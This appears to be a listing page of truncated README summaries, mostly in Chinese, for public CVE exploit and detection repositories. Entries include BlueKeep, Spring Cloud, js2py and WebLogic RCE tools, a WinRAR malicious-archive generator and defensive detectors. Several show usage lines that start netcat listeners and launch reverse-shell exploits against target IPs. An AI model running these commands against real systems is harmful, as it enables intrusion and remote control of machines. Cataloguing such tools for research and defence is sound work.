CVE-2019-1006

CVE-2019-1006 用法： 在终端中输入 "python CVE-2019-1006.py "url""，其中 url 是要测试的 RDG Gateway 服务器的 URL。 示例： python CVE-2019-1006.py "https://www.aaa.com/"...

sploit-bX

sploit-bX 用于安装 CVE-2017-0781 和 CVE-2017-0785 漏洞利用脚本及其所需依赖的 Bash 脚本。这些漏洞利用脚本用于检测我们的蓝牙是否易受攻击。 下载仓库 git clone https://github.com/CarlosDelRosario7/sploit-bX 安装 进入文件夹： cd sploit-bx 赋予执行权限： chmod +x sploit-bXinstall.sh 运行安装程序： ./sploit-bXinstall.sh 使用 使用 CVE-2017-0781： sploit-b1 XX:XX:XX:XX:XX:XX 使用...

EUVD-2026-87885

The WebFacing™ WordPress plugin before 5.4 does not restrict access to one of its bundled scripts and does not validate a user-supplied path before using it to include a local file, allowing unauthenticated users to perform Local File Inclusion...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-反弹Shell 针对CVE-2024-28397的反弹Shell。 漏洞利用适用于 js2py = v0.74 要求 requests库（pip install requests） Python3 Netcat（或可用于监听反弹Shell的工具） 使用方法 监听端 nc -lnvp 4444 利用端 python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11 --localport 4444...

CVE-2019-0708-POC

CVE-2019-0708-POC 为 CVE-2019-0708 工作的概念验证，生成远程 shell。 使用 python3 运行， 示例 python3 CVE-2019-0708-windows.py 需要为 linux 和 Windows 准备不同版本。 出于明显原因进行了混淆。...

CVE-2022-41040_Mitigation

将脚本下载到受影响的机器并运行它。...

CVE-2017-1000250-PoC

CVE-2017-1000250-PoC 基于CVE-2017-1000250的概念验证利用脚本。为TTM4137课程论文研究期间编写。...

CVE-2020-14882

CVE-2020-14882 此Python脚本旨在利用Oracle WebLogic Server中的远程代码执行漏洞（CVE-2020-14882），在易受攻击的目标服务器上执行命令，并通过HTTP请求捕获其输出。它首先提示输入目标WebLogic URL和网络接口，然后进入一个循环，用户可以在其中输入命令。对于每条命令，它会自动分配一个可用端口，并在该端口上创建一个临时HTTP监听器。脚本会格式化要在目标WebLogic系统上执行的命令，将其封装在一个PowerShell命令中，该命令会通过HTTP...

CVE-2023-46020-Code-Projects-Blood-Bank-1.0-Stored-Cross-Site-Scripting-Vulnerability

CVE-2023-46020-Code-Projects-Blood-Bank-1.0-Stored-Cross-Site-Scripting-Vulnerability 漏洞作者：ersinerenler 厂商主页 https://code-projects.org/blood-bank-in-php-with-source-code 软件链接 https://download-media.code-projects.org/2020/11/BloodBankInPHPWithSourcecode.zip 概述 Code-Projects Blood Bank V1.0...

detect_bluekeep.py

detectbluekeep.py 用于检测BlueKeep漏洞（CVE-2019-0708）的Python脚本，支持TLS/SSL 本脚本衍生自 @zerosum0x0 编写的Metasploit模块 https://github.com/zerosum0x0/CVE-2019-0708 RC4代码取自 https://github.com/DavidBuchanan314/rc4 前提条件 detectbluekeep.py 需要 pyasn1 和 cryptography 这两个 Python 模块。 可通过以下方式安装： pip install -r requirements.t...

CVE-2023-38831

将诱饵文件和（恶意）脚本文件放在当前目录中，诱饵文件建议为图像（.png、.jpg）或文档（.pdf） 2. 运行 python gen-CVE2023-38831.py CLASSIFIEDDOCUMENTS.pdf script.bat poc.rar 以生成漏洞利用程序...

CVE-2023-27350-POC

CVE-2023-27350-POC 一个用于搜索易受攻击版本的PaperCut MF/NG的Python脚本。 更多信息请访问：https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software 注意：此工具仅用于教育目的。使用风险自负。...

MDE-AuditCheck

MDE-AuditCheck 确保 MDE 所依赖的所有审核设置在 GPO 中均已正确设置 该脚本依赖于远程服务器管理工具 RSAT。...

CVE-2023-42793

使用方法： 将其保存为 teamcity-admin-creation.nse 并运行： nmap -p 8111 --script teamcity-admin-creation --script-args url=https://target-url...

CVE-2019-1332

CVE-2019-1332: 反射型跨站脚本漏洞（Microsoft SQL Server Reporting Services） 当 Microsoft SQL Server Reporting Services SSRS 未能正确清理针对受影响 SSRS 服务器的特制 Web 请求时，存在跨站脚本 XSS 漏洞。成功利用此漏洞的攻击者可以在目标用户的上下文中运行脚本。此类攻击可能允许攻击者读取其无权读取的内容、执行恶意代码，并利用受害者的身份代表该用户在该站点上执行操作，例如更改权限和删除内容。 注意: 要利用此漏洞，攻击者需要诱使经过身份验证的用户点击指向受影响 SSRS...

CVE-2022-21449

CVE-2022-21449 用于检测针对 TLS 客户端的 CVE-2022-21449 利用尝试的 Zeek 脚本。仅适用于 TLS 1.2 及以下版本。 安装 zkg install https://github.com/thack1/CVE-2022-21449 运行 对提供的 pcap 文件运行： $ zeek -Cr pcaps/CVE-2022-21449.pcap CVE-2022-21449 示例通知 separator \x09 setseparator , emptyfield empty unsetfield - path notice open...

CVE-2022-1386

git clone https://github.com/satyasai1460/CVE-2022-1386.git cd CVE-2022-1386 apt install python3-pip pip install -r requirements.txt python3 exploit.py...

MySQL-Remote-Root-Code-Execution

MySQL-Remote-Root-Code-Execution 用法 python rcemysql.py -dbuser -dbpass -dbname -dbhost -mycnf...

intel_amt_bypass

intelamtbypass CVE-2017-5689 的简单 POC 用法: python amibypass.py x.x.x.x...

RCE-in-Spring-Cloud-CVE-2022-22963

Spring Cloud RCE 漏洞利用工具 CVE-2022-22963 用于 CVE-2022-22963 远程命令执行的 Spring Cloud Function 漏洞利用工具 关于此漏洞的详细信息，请参见此处和此处 PoC 在你的主机上运行 netcat： $ nc -lvnp 9001 在攻击者主机上使用默认端口 9001 运行漏洞利用工具（示例）： $ ./exploit.sh site.com 10.10.14.122 ---Reverse Shell Exploit for CVE-2022-22963 RCE in Spring Cloud Function---...